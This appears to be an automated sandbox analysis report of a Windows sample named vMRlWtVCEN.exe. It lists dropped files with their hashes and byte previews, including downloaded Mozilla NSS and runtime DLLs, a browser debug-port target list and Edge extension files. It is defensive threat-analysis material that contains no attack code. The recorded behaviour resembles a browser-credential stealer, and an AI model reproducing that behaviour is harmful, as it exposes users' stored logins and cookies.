Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2BDC3CC23559899D6EDD25A4A8EE6AED",.. "id": "2BDC3CC23559899D6EDD25A4A8EE6AED",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2BDC3CC23559899D6EDD25A4A8EE6AED"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D1342B1247228E80863CCE93954C0EE8",.. "id": "D1342B1247228E80863CCE93954C0EE8",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D1342B1247228E80863CCE93954C0EE8"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0f801023-8326-45f3-aa56-ba3115522fdb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, comment: "Lavc59.36.100", baseline, precision 8, 1280x720, components 3
Category:	dropped
Size (bytes):	1562579
Entropy (8bit):	7.99348658918581
Encrypted:	true
SSDEEP:	24576:SYtrrlfCvOPppTv8mq+mcYNElmpRW0fuOZzmypcBCXERTsgBFvsCf5kY+mcNH9/c:xrrlftHUxcYNEUpaOZSyyBCXER9b0Cf3
MD5:	5B7318F539DFBFAA92363394AD36A302
SHA1:	08CB3CA5D06660097478FC0C41E8507D3D7CF73E
SHA-256:	DAE771B9D25CC1EB21E21A2454BDEB38D329B9673837520DFE64B797C0E32E5A
SHA-512:	C71CED56BD90F8091F62AA54227DBF912EC60AD902AC7EB73D497F0C82AE6CF39A50D9F872CFE6FE27EF4A60C487AC591A4FCD9257064B2E06896BA1F0709A39
Malicious:	false
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

C:\Users\user\AppData\Local\Temp\2f24fcb1-f6de-4ed9-8dfe-dc76d5bb402f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\37699fbf-f94c-49e5-9823-9f5dc2be7002.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\4ede3e06-7c2a-40d1-a705-093e2ab11dff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\7db678a8-b1a2-44b0-9315-47e48f44ec75.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/CFZ2cHkObTysAGz88:GdS8scZNzFrMa4M+labb1TqeZ
MD5:	A4C1A16984D4A1F4D15F6A9075FE4ABD
SHA1:	15E87677062BF7F7B7E67381FC2E84D460F28F6F
SHA-256:	254A9865F8224E75BA2122569902D21BB2D612E501589842B35C334B8DA28187
SHA-512:	6BFDF4BEFE6BB68184683D7E90994848D262D7C18BB4D74BF024BF99035511A1F3564BE49E8E6DF934CC4E6F33216FA1A8B2E613B9F5900B51A8AB68B6C754FE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\83a93e8d-d8bb-45a1-b854-c028cd890782.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\8527252a-e1a3-4416-ba18-de416d29f473.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.40735927208914
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx00M5nYd00s5M:JIVuwEw5MUFZLBQLtUY4M
MD5:	75CB290E34C33883142B84F49A99F4A0
SHA1:	A97C74D83059DB458AB70953E212E25D881B434F
SHA-256:	D8386C3BF3A7BE422E4A649EAD89A49EAEAB211A64544D845E2773AD77CD7008
SHA-512:	A07472DF6AE487BE18C15E9184CF6D5776D0646ADBB2B5D7942BA4CAC69EFCC4D9BBA05D0D433EFF0B310BD6FD91A25C4F108F8BA3E1592489A8CC1FA3994F20
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\scoped_dir7944_1252422673\83a93e8d-d8bb-45a1-b854-c028cd890782.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7944_1252422673\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7944_1252422673\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7944_1252422673\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
